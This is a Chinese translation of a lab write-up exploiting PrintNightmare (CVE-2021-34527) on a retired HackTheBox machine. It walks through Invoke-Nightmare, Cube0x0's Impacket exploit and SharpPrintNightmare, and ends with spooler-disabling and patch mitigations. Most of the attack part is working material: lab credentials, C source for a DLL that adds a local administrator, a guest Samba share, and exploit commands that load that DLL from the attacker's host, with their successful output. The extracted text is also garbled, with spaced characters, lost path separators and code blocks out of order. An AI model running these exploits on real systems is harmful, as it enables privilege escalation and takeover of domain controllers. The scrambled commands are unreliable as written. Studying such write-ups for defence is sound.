搜索

[29060] 2021-07-09_【漏洞分析】玩转CVE-2021-34527

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-07-09_【漏洞分析】玩转CVE-2021-34527 【 漏 洞 分 析 】 玩 转   C V E - 2 0 2 1 - 3 4 5 2 7 O t s 安 全   2 0 2 1 - 0 7 - 0 9 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 C V E - 2 0 2 1 - 3 4 5 2 7   或   P r i n t N i g h t m a r e   是   W i n d o w s   P r i n t   S p o o l e r   中 的 一 个 漏 洞 ， 允 许 低 权 限 用 户 在 本 地 机 器 或 远 程 服 务 器 上 升 级 为 管 理 员 。 这 尤 其 糟 糕 ， 因 为 域 控 制 器 具 有 暴 露 的 打 印 后 台 处 理 程 序 的 情 况 并 不 少 见 ， 因 此 ， 此 漏 洞 可 以 将 攻 击 者 从 低 权 限 用 户 带 到 域 管 理 员 。 那 里 有 一 些 概 念 漏 洞 证 明 ， 我 想 给 他 们 一 个 旧 的   H a c k T h e B o x   机 器 。 我 还 将 研 究 禁 用   P r i n t   S p o o l e r   以 及 它 如 何 破 解 漏 洞 ， 并 讨 论   7   月   6   日 的 补 丁 。 背 景 背 景 历 史 历 史 这 个 错 误 的 历 史 有 点 有 趣 。 微 软 于 2 0 2 1   年   6   月   8   日 发 布 了 针 对 W i n d o w s   P r i n t   S p o o l e r   远 程 代 码 执 行 漏 洞 的 补 丁 ， 称 为   C V E - 2 0 2 1 - 1 6 7 5 。 看 到 这 个 补 丁 ， 中 国 的 研 究 人 员 正 在 为 打 印 假 脱 机 程 序 中 一 个 非 常 相 似 的 错 误 进 行 概 念 验 证 ， 并 在 看 到 这 个 补 丁 后 ， 在   G i t H u b   上 发 布 了 他 们 的 漏 洞 利 用 。 只 是 它 们 不 是 同 一 个 错 误 。 研 究 人 员 后 来 取 消 了 他 们 的 漏 洞 利 用 ， 但 是 一 旦 有 什 么 东 西 进 入 了 互 联 网 ， 损 害 就 已 经 造 成 了 。 微 软 后 来 在   7   月   2   日 更 新 了   C V E - 2 0 2 1 - 1 6 7 5   的 补 丁 （ 并 将 该 类 从 特 权 升 级 更 新 为 远 程 代 码 执 行 ） 。 7   月   6   日 ， 微 软 发 布 了 一 个 带 外 更 新 （ 不 是 在 补 丁 星 期 二 ） ， 但 根 据   T w i t t e r   上 的 讨 论 尚 不 清 楚 此 补 丁 是 否 完 全 修 复 了 该 问 题 。 在 撰 写 本 文 时 ， 他 们 确 定 漏 洞 利 用 是 否 有 效 的 最 佳 流 程 图 来 自 以 下 推 文 ： h t t p s : / / t w i t t e r . c o m / w d o r m a n n / s t a t u s / 1 4 1 2 9 0 6 5 7 4 9 9 8 3 9 2 8 4 0 这 个 故 事 每 天 都 在 变 化 … … 7   月   6   日 发 布 了 一 个 补 丁 ， 我 将 在 帖 子 末 尾 的 缓 解 部 分 讨 论 这 个 问 题 。 因 为 我 将 在   H a c k T h e B o x   实 验 室 中 使 用 未 打 补 丁 的 机 器 ， 所 以 我 展 示 的 各 种   P O C   都 可 以 正 常 工 作 。 需 要 注 意 的 是 ， C u b e 0 x 0   I m p a c t   漏 洞 利 用 针 对 与   C u b e 0 x 0   S h a r p N i g h t m a r e   版 本 不 同 的 漏 洞 利 用 路 径 ， 这 意 味 着 修 复 的 补 丁 可 能 会 或 可 能 不 会 修 复 另 一 个 ， 因 此 值 得 一 一 展 示 。 漏 洞 漏 洞 该 漏 洞 本 身 与 低 权 限 认 证 用 户 如 何 能 够 添 加 打 印 机 ， 并 专 门 为 该 打 印 机 提 供 驱 动 程 序 有 关 。 该 过 程 检 查 用 户 是 否 已 通 过 身 份 验 证 ， 然 后 授 予 他 们 系 统 级 别 的 访 问 权 限 以 安 装 打 印 机 驱 动 程
序 。 这 意 味 着 使 用   W i n d o w s   机 器 上 的 低   p r i v   s h e l l   或 远 程 有 效 凭 据 ， 攻 击 者 可 以 获 得 主 机 上 的   S Y S T E M   权 限 。 目 标 目 标 我 将 在 H a c k T h e B o x   的 H e i s t 上 演 示 不 同 的   P r i n t N i g h t m a r e   漏 洞 利 用 。 这 是 一 个 非 常 好 的 退 役   W i n d o w s   机 器 ， 它 对 所 有 玩 家 免 费 提 供 给   H T B   的 T a k e   i t   E a s y   7   月 活 动 。 这 也 很 好 ， 因 为 有 两 个 用 户 我 获 得 了 解 决 盒 子 的 凭 据 。 危 害 用 户 可 以 使 用 密 码   S t e a l t h 1 a g e n t   访 问   S M B   和   R P C ： h a z a r d   无 法 在   H e i s t   上 获 得   s h e l l ， 但   C h a s e   用 户 可 以 使 用 E v i l - W i n R M 获 得 低 权 限   s h e l l   ： 利 用 示 例 利 用 示 例 调 用 噩 梦 调 用 噩 梦   L P E I n v o k e - N i g h t m a r e 是 由   C a l e b   S t e w a r t   和   J o h n   H a m m o n d   开 发 的   P o w e r S h e l l   脚 本 ， 它 非 常 巧 妙 。 我 将 他 们 的   r e p o   克 隆 到 我 的 主 机 ， 并 重 命 名 目 录 以 避 免 混 淆 ： 以   s h e l l   作 为 追 逐 ， 我 将 . p s 1 文 件 上 传 到   H e i s t ： 我 将 导 入 模 块 ： 现 在 我 可 以 访 问 I n v o k e - N i g h t m a r e 命 令 了 。 没 有 参 数 ， 这 将 添 加 一 个 密 码 为 “ P @ s s w 0 r d ” 的 用 户 管 理 员 ， 或 者 我 可 以 自 己 给 它 一 个 用 户 名 和 密 码 ： o x d f @ p a r r o t $   r p c c l i e n t   - U   ' h a z a r d % s t e a l t h 1 a g e n t '   1 0 . 1 0 . 1 0 . 1 4 9 r p c c l i e n t   $ >   ^ C o x d f @ p a r r o t $   s m b m a p   - H   1 0 . 1 0 . 1 0 . 1 4 9   - u   h a z a r d   - p   s t e a l t h 1 a g e n t [ + ]   I P :   1 0 . 1 0 . 1 0 . 1 4 9 : 4 4 5                 N a m e :   1 0 . 1 0 . 1 0 . 1 4 9                 D i s k                                                                                                         P e r m i s s i o n s           C o m m e n t                 - - - -                                                                                                         - - - - - - - - - - -           - - - - - - -                 A D M I N $                                                                                                     N O   A C C E S S               R e m o t e   A d m i n                 C $                                                                                                             N O   A C C E S S               D e f a u l t   s h a r e                 I P C $                                                                                                         R E A D   O N L Y               R e m o t e   I P C o x d f @ p a r r o t $   e v i l - w i n r m   - i   1 0 . 1 0 . 1 0 . 1 4 9   - u   S U P P O R T D E S K c h a s e   - p   ' Q 4 ) s J u Y 8 q z * A 3 ? d ' E v i l - W i n R M   s h e l l   v 2 . 4 I n f o :   E s t a b l i s h i n g   c o n n e c t i o n   t o   r e m o t e   e n d p o i n t * E v i l - W i n R M *   P S   C : U s e r s C h a s e D o c u m e n t s > o x d f @ p a r r o t $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c a l e b s t e w a r t / C V E - 2 0 2 1 - 1 6 7 5 C l o n i n g   i n t o   ' C V E - 2 0 2 1 - 1 6 7 5 ' . . . r e m o t e :   E n u m e r a t i n g   o b j e c t s :   4 0 ,   d o n e . r e m o t e :   C o u n t i n g   o b j e c t s :   1 0 0 %   ( 4 0 / 4 0 ) ,   d o n e . r e m o t e :   C o m p r e s s i n g   o b j e c t s :   1 0 0 %   ( 3 2 / 3 2 ) ,   d o n e . r e m o t e :   T o t a l   4 0   ( d e l t a   9 ) ,   r e u s e d   3 7   ( d e l t a   6 ) ,   p a c k - r e u s e d   0 R e c e i v i n g   o b j e c t s :   1 0 0 %   ( 4 0 / 4 0 ) ,   1 3 1 . 1 2   K i B   |   3 . 9 7   M i B / s ,   d o n e . R e s o l v i n g   d e l t a s :   1 0 0 %   ( 9 / 9 ) ,   d o n e . o x d f @ p a r r o t $   m v   C V E - 2 0 2 1 - 1 6 7 5   i n v o k e - n i g h t m a r e * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   u p l o a d   / o p t / i n v o k e - n i g h t m a r e / C V E - 2 0 2 1 - 1 6 7 5 . p s 1 I n f o :   U p l o a d i n g   / o p t / i n v o k e - n i g h t m a r e / C V E - 2 0 2 1 - 1 6 7 5 . p s 1   t o   C : p r o g r a m d a t a C V E - 2 0 2 1 - 1 6 7 5 . p s 1 D a t a :   2 3 8 0 8 0   b y t e s   o f   2 3 8 0 8 0   b y t e s   c o p i e d I n f o :   U p l o a d   s u c c e s s f u l ! * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   I m p o r t - M o d u l e   . C V E - 2 0 2 1 - 1 6 7 5 . p s 1 * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   I n v o k e - N i g h t m a r e   - N e w U s e r   " 0 x d f "   - N e w P a s s w o r d   " 0 x d f 0 x d f "
0 x d f   现 在 是 主 机 上 的 用 户 ， 并 且 在 管 理 员 组 中 ： 我 可 以 通 过   E v i l - W i n R M   连 接 并 访 问 任 何 内 容 ， 例 如 r o o t . t x t ： C u b e 0 x 0   封 包 封 包   R C E 扫 描 扫 描 C u b e 0 x 0   提 供 了 一 种 使 用   来 测 试 盒 子 是 否 易 受 攻 击 的 方 法 r p c d u m p . p y ， H e i s t   是 ： 动 态 链 接 库 动 态 链 接 库 C u b e 0 x 0   对   P r i n t N i g h t m a r e   的 利 用 可 通 过 凭 证 远 程 工 作 。 首 先 ， 我 需 要 构 建 一 个   D l l 。 我 之 前 已 经 详 细 介 绍 过   H a c k B a c k 。 我 将 按 照 一 组 类 似 的 步 骤 创 建 一 个   C + +   D L L   项 目 ， 并 为 我 的   D l l   使 用 以 下 源 ： [ + ]   c r e a t e d   p a y l o a d   a t   C : U s e r s C h a s e A p p D a t a L o c a l T e m p n i g h t m a r e . d l l [ + ]   u s i n g   p D r i v e r P a t h   =   " C : W i n d o w s S y s t e m 3 2 D r i v e r S t o r e F i l e R e p o s i t o r y n t p r i n t . i n f _ a m d 6 4 _ 8 3 a a 9 a e b f 5 d f f c 9 6 A m d 6 4 m x d w d r v . d l l " [ + ]   a d d e d   u s e r   0 x d f   a s   l o c a l   a d m i n i s t r a t o r [ + ]   d e l e t i n g   p a y l o a d   f r o m   C : U s e r s C h a s e A p p D a t a L o c a l T e m p n i g h t m a r e . d l l * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   n e t   u s e r   0 x d f U s e r   n a m e                                         0 x d f F u l l   N a m e                                         0 x d f C o m m e n t U s e r ' s   c o m m e n t C o u n t r y / r e g i o n   c o d e                     0 0 0   ( S y s t e m   D e f a u l t ) A c c o u n t   a c t i v e                               Y e s A c c o u n t   e x p i r e s                             N e v e r P a s s w o r d   l a s t   s e t                         7 / 8 / 2 0 2 1   7 : 0 8 : 2 6   A M P a s s w o r d   e x p i r e s                           N e v e r P a s s w o r d   c h a n g e a b l e                     7 / 8 / 2 0 2 1   7 : 0 8 : 2 6   A M P a s s w o r d   r e q u i r e d                         Y e s U s e r   m a y   c h a n g e   p a s s w o r d           Y e s W o r k s t a t i o n s   a l l o w e d                   A l l L o g o n   s c r i p t U s e r   p r o f i l e H o m e   d i r e c t o r y L a s t   l o g o n                                       N e v e r L o g o n   h o u r s   a l l o w e d                     A l l L o c a l   G r o u p   M e m b e r s h i p s             * A d m i n i s t r a t o r s G l o b a l   G r o u p   m e m b e r s h i p s           * N o n e T h e   c o m m a n d   c o m p l e t e d   s u c c e s s f u l l y . o x d f @ p a r r o t $   e v i l - w i n r m   - i   1 0 . 1 0 . 1 0 . 1 4 9   - u   0 x d f   - p   0 x d f 0 x d f E v i l - W i n R M   s h e l l   v 2 . 4 I n f o :   E s t a b l i s h i n g   c o n n e c t i o n   t o   r e m o t e   e n d p o i n t * E v i l - W i n R M *   P S   C : U s e r s 0 x d f D o c u m e n t s >   c d   . . . . a d m i n i s t r a t o r d e s k t o p * E v i l - W i n R M *   P S   C : U s e r s a d m i n i s t r a t o r d e s k t o p >   t y p e   r o o t . t x t 5 0 d f a 3 c 6 * * * * * * * * * * * * * * * * * * * * * * * * o x d f @ p a r r o t $   r p c d u m p . p y   @ 1 0 . 1 0 . 1 0 . 1 4 9   |   g r e p   M S - R P R N P r o t o c o l :   [ M S - R P R N ] :   P r i n t   S y s t e m   R e m o t e   P r o t o c o l / /   d l l m a i n . c p p   :   D e f i n e s   t h e   e n t r y   p o i n t   f o r   t h e   D L L   a p p l i c a t i o n .
该 D l l M a i n 函 数 将 因 各 种 原 因 被 调 用 ， 其 中 之 一 是 进 程 加 载   D L L   时 。 在 这 种 情 况 下 ， u l _ r e a s o n _ f o r _ c a l l 将 是 D L L _ P R O C E S S _ A T T A C H 。 所 以 D L L 将 被 加 载 ， 将 执 行 这 两 个 系 统 命 令 ， 然 后 完 成 。 我 将 编 译 它 并 将 其 复 制 回 我 的   P a r r o t   V M 。 S a m b a C u b e 0 x 0   有 一 个 示 例   S a m b a   配 置 允 许 匿 名 访 问 他 的   G i t H u b   页 面 。 最 后 一 行 的 用 户 必 须 存 在 于 您 的 主 机 上 ， 这 一 点 很 重 要 。 我 更 新 了 我 的 以 匹 配 我 配 置 的 无 访 问 权 限 的 用 户 。 我 将 重 新 启 动   S a m b a   以 获 取 更 新 的 配 置 ： 该 用 户 可 以 从   S M B   共 享 中 读 取 也 很 重 要 ， 因 此 我 将 该 目 录 设 置 为 该 用 户 所 有 ： 封 包 封 包 我 将 克 隆   r e p o   并 重 命 名 它 ： # i n c l u d e   " p c h . h " # i n c l u d e   < s t d l i b . h > B O O L   A P I E N T R Y   D l l M a i n (   H M O D U L E   h M o d u l e ,                                               D W O R D     u l _ r e a s o n _ f o r _ c a l l ,                                               L P V O I D   l p R e s e r v e d                                           ) { s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l )         { c a s e   D L L _ P R O C E S S _ A T T A C H :                 s y s t e m ( " c m d . e x e   / c   n e t   u s e r   0 x d f   0 x d f 0 x d f   / a d d " ) ;                 s y s t e m ( " c m d . e x e   / c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   0 x d f   / a d d " ) ; c a s e   D L L _ T H R E A D _ A T T A C H : c a s e   D L L _ T H R E A D _ D E T A C H : c a s e   D L L _ P R O C E S S _ D E T A C H : b r e a k ;         } r e t u r n   T R U E ; } [ g l o b a l ] m a p   t o   g u e s t   =   B a d   U s e r s e r v e r   r o l e   =   s t a n d a l o n e   s e r v e r u s e r s h a r e   a l l o w   g u e s t s   =   y e s i d m a p   c o n f i g   *   :   b a c k e n d   =   t d b s m b   p o r t s   =   4 4 5 [ s h a r e ] c o m m e n t   =   S a m b a p a t h   =   / s r v / s m b / g u e s t   o k   =   y e s r e a d   o n l y   =   n o b r o w s a b l e   =   y e s f o r c e   u s e r   =   n o b o d y o x d f @ p a r r o t $   s u d o   s e r v i c e   s m b d   r e s t a r t o x d f @ p a r r o t $   s u d o   c h o w n   - R   n o b o d y : r o o t   s m b / o x d f @ p a r r o t $   s u d o   c h m o d   - R   7 7 7   s m b / o x d f @ p a r r o t $   l s   - l   s m b / t o t a l   1 2 - r w x r w x r w x   1   n o b o d y   r o o t   1 0 2 4 0   J u l     7   2 2 : 1 0   A d d U s e r D l l . d l l o x d f @ p a r r o t $   c d   / o p t /
此 漏 洞 利 用 使 用 了 I m p a c k e t 的 修 改 版 本 。 我 将 把 它 克 隆 到 这 个 目 录 中 ： 为 了 避 免 弄 乱 我 的 系 统 安 装 ， 我 将 创 建 一 个 虚 拟 环 境 ， 激 活 它 ， 然 后 在 那 里 安 装   I m p a c k e t ： 运 行 漏 洞 利 用 运 行 漏 洞 利 用 组 装 好 所 有 部 件 后 ， 我 就 可 以 运 行 漏 洞 利 用 程 序 了 。 我 将 为 它 提 供 用 于   R P C   连 接 的 危 险 用 户 的 凭 据 ， 以 及   S M B   共 享 上 的   D L L   的 路 径 ： 有 效 ！ 如 果 它 引 发 错 误 ， 他 就 是 一 些 故 障 排 除 向 我 展 示 的 内 容 ： 我 现 在 可 以 使 用 管 理 员 权 限 以   0 x d f   身 份 登 录 ： o x d f @ p a r r o t $   c d   / o p t / o x d f @ p a r r o t $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / C V E - 2 0 2 1 - 1 6 7 5 C l o n i n g   i n t o   ' C V E - 2 0 2 1 - 1 6 7 5 ' . . . r e m o t e :   E n u m e r a t i n g   o b j e c t s :   1 5 9 ,   d o n e . r e m o t e :   C o u n t i n g   o b j e c t s :   1 0 0 %   ( 1 5 9 / 1 5 9 ) ,   d o n e . r e m o t e :   C o m p r e s s i n g   o b j e c t s :   1 0 0 %   ( 9 8 / 9 8 ) ,   d o n e . r e m o t e :   T o t a l   1 5 9   ( d e l t a   5 5 ) ,   r e u s e d   1 2 4   ( d e l t a   3 2 ) ,   p a c k - r e u s e d   0 R e c e i v i n g   o b j e c t s :   1 0 0 %   ( 1 5 9 / 1 5 9 ) ,   1 . 4 5   M i B   |   7 . 3 7   M i B / s ,   d o n e . R e s o l v i n g   d e l t a s :   1 0 0 %   ( 5 5 / 5 5 ) ,   d o n e . o x d f @ p a r r o t $   m v   C V E - 2 0 2 1 - 1 6 7 5   S h a r p P r i n t N i g h t m a r e o x d f @ p a r r o t $   c d   S h a r p P r i n t N i g h t m a r e / o x d f @ p a r r o t $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / i m p a c k e t C l o n i n g   i n t o   ' i m p a c k e t ' . . . r e m o t e :   E n u m e r a t i n g   o b j e c t s :   1 9 5 7 0 ,   d o n e . r e m o t e :   C o u n t i n g   o b j e c t s :   1 0 0 %   ( 6 4 5 / 6 4 5 ) ,   d o n e . r e m o t e :   C o m p r e s s i n g   o b j e c t s :   1 0 0 %   ( 3 0 4 / 3 0 4 ) ,   d o n e . r e m o t e :   T o t a l   1 9 5 7 0   ( d e l t a   3 8 6 ) ,   r e u s e d   5 3 1   ( d e l t a   3 3 9 ) ,   p a c k - r e u s e d   1 8 9 2 5 R e c e i v i n g   o b j e c t s :   1 0 0 %   ( 1 9 5 7 0 / 1 9 5 7 0 ) ,   6 . 8 2   M i B   |   9 . 1 8   M i B / s ,   d o n e . R e s o l v i n g   d e l t a s :   1 0 0 %   ( 1 4 7 9 8 / 1 4 7 9 8 ) ,   d o n e . o x d f @ p a r r o t $   p y t h o n 3   - m   v e n v   v e n v o x d f @ p a r r o t $   s o u r c e   v e n v / b i n / a c t i v a t e ( v e n v )   o x d f @ p a r r o t $   c d   i m p a c k e t / ( v e n v )   o x d f @ p a r r o t $   p y t h o n 3   s e t u p . p y   i n s t a l l r u n n i n g   i n s t a l l r u n n i n g   b d i s t _ e g g r u n n i n g   e g g _ i n f o   . . . [ s n i p ] . . . ( v e n v )   o x d f @ p a r r o t $   p y t h o n 3   C V E - 2 0 2 1 - 1 6 7 5 . p y   ' H E I S T / h a z a r d : s t e a l t h 1 a g e n t @ 1 0 . 1 0 . 1 0 . 1 4 9 '   ' 1 0 . 1 0 . 1 4 . 2 0 0 s h a r e A d d U s e r D l l . d l l ' [ * ]   C o n n e c t i n g   t o   n c a c n _ n p : 1 0 . 1 0 . 1 0 . 1 4 9 [ P I P E s p o o l s s ] [ + ]   B i n d   O K [ + ]   p D r i v e r P a t h   F o u n d   C : W i n d o w s S y s t e m 3 2 D r i v e r S t o r e F i l e R e p o s i t o r y n t p r i n t . i n f _ a m d 6 4 _ 8 3 a a 9 a e b f 5 d f f c 9 6 A m d 6 4 U N I D R V . D L L [ * ]   E x e c u t i n g   1 0 . 1 0 . 1 4 . 2 0 0 s h a r e A d d U s e r D l l . d l l [ * ]   T r y   1 . . . [ * ]   S t a g e 0 :   0 [ * ]   S t a g e 2 :   0 [ + ]   E x p l o i t   C o m p l e t e d
S h a r p P r i n t N i g h t m a r e   L P E / R C E 建 造 建 造 C u b e 0 x 0   的 存 储 库 中 有 一 个   V i s u a l   S t u d i o   项 目 ， 用 于 S h a r p P r i n t N i g h t m a r e .   我 会 将   r e p o   下 载 到 我 的   W i n d o w s   V M ， 并 打 开 S h a r p P r i n t N i g h t m a r e . s l n 几 个 目 录 。 我 将 选 择 构 建   – >   构 建 解 决 方 案 ， 然 后 构 建 ： L P E 我 将 把 它 复 制 . e x e 回 我 的   L i n u x   V M 。 我 会 同 时 上 传 . e x e 和 . d l l 对 海 斯 特 （ 虽 然 我 也 可 以 举 办 . d l l S M B 共 享 上 像 前 面 的 ） ： 现 在 我 只 是 运 行 S h a r p P r i n t N i g h t m a r e . e x e 将 它 传 递 给   D L L   的 路 径 以 作 为   S Y S T E M   运 行 ： 添 加 了   0 x d f ： o x d f @ p a r r o t $   e v i l - w i n r m   - i   1 0 . 1 0 . 1 0 . 1 4 9   - u   0 x d f   - p   0 x d f 0 x d f E v i l - W i n R M   s h e l l   v 2 . 4 I n f o :   E s t a b l i s h i n g   c o n n e c t i o n   t o   r e m o t e   e n d p o i n t * E v i l - W i n R M *   P S   C : U s e r s 0 x d f D o c u m e n t s >   c d   . . . . a d m i n i s t r a t o r d e s k t o p * E v i l - W i n R M *   P S   C : U s e r s a d m i n i s t r a t o r d e s k t o p >   t y p e   r o o t . t x t 5 0 d f a 3 c 6 * * * * * * * * * * * * * * * * * * * * * * * * 1 > - - - - - -   B u i l d   s t a r t e d :   P r o j e c t :   S h a r p P r i n t N i g h t m a r e ,   C o n f i g u r a t i o n :   R e l e a s e   A n y   C P U   - - - - - - 1 >     S h a r p P r i n t N i g h t m a r e   - >   C : U s e r s 0 x d f D e s k t o p C V E - 2 0 2 1 - 1 6 7 5 - m a i n S h a r p P r i n t N i g h t m a r e S h a r p P r i n t N i g h t m a r e b i n R e l e a s e S h a r p P r i n t N i g h t m a r e . e x e = = = = = = = = = =   B u i l d :   1   s u c c e e d e d ,   0   f a i l e d ,   0   u p - t o - d a t e ,   0   s k i p p e d   = = = = = = = = = = * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   u p l o a d   / o p t / S h a r p P r i n t N i g h t m a r e / A d d U s e r D l l . d l l I n f o :   U p l o a d i n g   / o p t / S h a r p P r i n t N i g h t m a r e / A d d U s e r D l l . d l l   t o   C : p r o g r a m d a t a A d d U s e r D l l . d l l D a t a :   1 3 6 5 2   b y t e s   o f   1 3 6 5 2   b y t e s   c o p i e d I n f o :   U p l o a d   s u c c e s s f u l ! * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   u p l o a d   / o p t / S h a r p P r i n t N i g h t m a r e / S h a r p P r i n t N i g h t m a r e . e x e I n f o :   U p l o a d i n g   / o p t / S h a r p P r i n t N i g h t m a r e / S h a r p P r i n t N i g h t m a r e . e x e   t o   C : p r o g r a m d a t a S h a r p P r i n t N i g h t m a r e . e x e D a t a :   1 8 4 3 2   b y t e s   o f   1 8 4 3 2   b y t e s   c o p i e d I n f o :   U p l o a d   s u c c e s s f u l ! * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   . S h a r p P r i n t N i g h t m a r e . e x e   p r o g r a m d a t a A d d U s e r D l l . d l l [ * ]   p D r i v e r P a t h   C : W i n d o w s S y s t e m 3 2 D r i v e r S t o r e F i l e R e p o s i t o r y n t p r i n t . i n f _ a m d 6 4 _ 8 3 a a 9 a e b f 5 d f f c 9 6 A m d 6 4 m x d w d r v . d l l [ * ]   E x e c u t i n g   p r o g r a m d a t a A d d U s e r D l l . d l l [ * ]   T r y   1 . . . [ * ]   S t a g e   0 :   0 [ * ]   T r y   2 . . . [ * ]   S t a g e   0 :   0 [ * ]   S t a g e   2 :   0 [ + ]   E x p l o i t   C o m p l e t e d * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   n e t   u s e r   0 x d f U s e r   n a m e                                         0 x d f F u l l   N a m e C o m m e n t U s e r ' s   c o m m e n t C o u n t r y / r e g i o n   c o d e                     0 0 0   ( S y s t e m   D e f a u l t ) A c c o u n t   a c t i v e                               Y e s
E v i l - W i n R M   也 能 正 常 工 作 ： R C E 可 以 运 行 相 同 的   E X E   以 从   W i n d o w s   获 得 远 程 执 行 。 我 很 难 让 它 工 作 ： 它 会 尝 试   3   次 并 停 止 。 我 可 能 搞 砸 了 我 的   S M B   服 务 器 。 或 者 说 其 他 事 情 是 错 误 的 。 我 知 道 您 必 须 以 管 理 员 组 中 的 用 户 身 份 运 行 ， 但 我 尝 试 以   0 x d f （ 管 理 员 身 份 ） 和   P o w e r S h e l l   以 管 理 员 身 份 运 行 。 减 轻 减 轻 禁 用 后 台 处 理 程 序 禁 用 后 台 处 理 程 序 直 到 几 天 前 ， 唯 一 的 缓 解 措 施 是 禁 用 打 印 后 台 处 理 程 序 服 务 。 在 管 理   s h e l l （ 如   0 x d f ） 中 ， 我 可 以 使 用 以 下 命 令 执 行 此 操 作 ： 第 一 个 当 前 禁 用 该 服 务 ， 第 二 个 将 使 其 在 重 新 启 动 时 不 启 动 。 第 二 个 在   H T B   机 器 上 并 不 重 要 ， 因 为 它 将 恢 复 到 启 用 并 运 行 服 务 的 快 照 ， 但 我 在 这 里 运 行 它 只 是 为 了 展 示 最 佳 实 践 。 完 成 此 操 作 后 ， r p c d u m p . p y   @ 1 0 . 1 0 . 1 0 . 1 4 9   |   g r e p   M S - R P R N 不 再 显 示 服 务 ， 并 且 漏 洞 利 用 不 再 有 效 。 A c c o u n t   e x p i r e s                             N e v e r P a s s w o r d   l a s t   s e t                         7 / 8 / 2 0 2 1   8 : 1 8 : 2 4   A M P a s s w o r d   e x p i r e s                           N e v e r P a s s w o r d   c h a n g e a b l e                     7 / 8 / 2 0 2 1   8 : 1 8 : 2 4   A M P a s s w o r d   r e q u i r e d                         Y e s U s e r   m a y   c h a n g e   p a s s w o r d           Y e s W o r k s t a t i o n s   a l l o w e d                   A l l L o g o n   s c r i p t U s e r   p r o f i l e H o m e   d i r e c t o r y L a s t   l o g o n                                       N e v e r L o g o n   h o u r s   a l l o w e d                     A l l L o c a l   G r o u p   M e m b e r s h i p s             * A d m i n i s t r a t o r s               * U s e r s G l o b a l   G r o u p   m e m b e r s h i p s           * N o n e T h e   c o m m a n d   c o m p l e t e d   s u c c e s s f u l l y . o x d f @ p a r r o t $   e v i l - w i n r m   - i   1 0 . 1 0 . 1 0 . 1 4 9   - u   0 x d f   - p   0 x d f 0 x d f E v i l - W i n R M   s h e l l   v 2 . 4 I n f o :   E s t a b l i s h i n g   c o n n e c t i o n   t o   r e m o t e   e n d p o i n t * E v i l - W i n R M *   P S   C : U s e r s 0 x d f D o c u m e n t s > P S   >   . S h a r p P r i n t N i g h t m a r e . e x e   ' 1 0 . 1 0 . 1 4 . 2 0 0 s h a r e A d d U s e r D l l . d l l '   1 0 . 1 0 . 1 0 . 1 4 9   h e i s t   h a z a r d   s t e a l t h 1 a g e n t [ * ]   p D r i v e r P a t h   C : W i n d o w s S y s t e m 3 2 D r i v e r S t o r e F i l e R e p o s i t o r y n t p r i n t . i n f _ a m d 6 4 _ 8 3 a a 9 a e b f 5 d f f c 9 6 A m d 6 4 U N I D R V . D L L [ * ]   E x e c u t i n g   1 0 . 1 0 . 1 4 . 2 0 0 s h a r e A d d U s e r D l l . d l l [ * ]   T r y   1 . . . [ * ]   S t a g e   0 :   5 [ * ]   T r y   2 . . . [ * ]   S t a g e   0 :   5 [ * ]   T r y   3 . . . [ * ]   S t a g e   0 :   5 * E v i l - W i n R M *   P S   C : U s e r s 0 x d f D o c u m e n t s >   s t o p - s e r v i c e   - n a m e   s p o o l e r   - f o r c e * E v i l - W i n R M *   P S   C : U s e r s 0 x d f D o c u m e n t s >   s e t - s e r v i c e   - n a m e   s p o o l e r   - s t a r t u p t y p e   d i s a b l e d
I n v o k e - N i g h t m a r e : 数 据 包   R C E ： S h a r p P r i n t N i g h t m a r e : 7   月 月   6   日 补 丁 日 补 丁 据 我 所 知 ， 7   月   6   日 的   C V E - 2 0 2 1 - 3 4 5 2 7   补 丁 修 复 了 部 分 漏 洞 。 现 在 需 要 管 理 员 访 问 权 限 才 能 安 装 任 何 未 签 名 的 打 印 机 驱 动 程 序 。 虽 然 有 很 多 签 名 恶 意 软 件 的 案 例 ， 但 这 仍 然 是 向 前 迈 出 的 坚 实 一 步 。 此 外 ， 还 有 一 个 新 的 注 册 表 项   ， R e s t r i c t D r i v e r I n s t a l l a t i o n T o A d m i n i s t r a t o r s 它 将 阻 止 非 管 理 员 用 户 安 装 所 有 驱 动 程 序 ， 这 似 乎 是 一 件 好 事 ， 因 为 它 完 全 阻 止 了 本 地 权 限 提 升 。 仍 然 有 一 个 解 决 方 法 ， 涉 及 “ P o i n t & P r i n t ” 服 务 。 从 它 更 新 的 安 全 公 告 ： 2 0 2 1   年   7   月   7   日 更 新 ： W i n d o w s   S e r v e r   2 0 1 2 、 W i n d o w s   S e r v e r   2 0 1 6   和   W i n d o w s   1 0   版 本   1 6 0 7   的 安 全 更 新 已 发 布 。 请 参 阅 安 全 更 新 表 ， 了 解 适 用 于 您 系 统 的 更 新 。 我 们 建 议 您 立 即 安 装 这 些 更 新 。 如 果 您 无 法 安 装 这 些 更 新 ， 请 参 阅 此   C V E   中 的 常 见 问 题 解 答 和 解 决 方 法 部 分 ， 以 获 取 有 关 如 何 帮 助 保 护 您 的 系 统 免 受 此 漏 洞 影 响 的 信 息 。 为 了 保 护 您 的 系 统 ， 您 必 须 确 认 以 下 注 册 表 设 置 设 置 为   0 （ 零 ） 或 未 定 义 （ 注 意 ： 这 些 注 册 表 项 默 认 不 存 在 ， 因 此 已 处 于 安 全 设 置 中 。 ） ： H K E Y _ L O C A L _ M A C H I N E S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s   N T P r i n t e r s P o i n t A n d P r i n t N o W a r n i n g N o E l e v a t i o n O n I n s t a l l   =   0   ( D W O R D )   或 未 定 义 （ 默 认 设 置 ） N o W a r n i n g N o E l e v a t i o n O n U p d a t e   =   0   ( D W O R D )   或 未 定 义 （ 默 认 设 置 ） 原 文 链 接 ： h t t p s : / / 0 x d f . g i t l a b . i o / 2 0 2 1 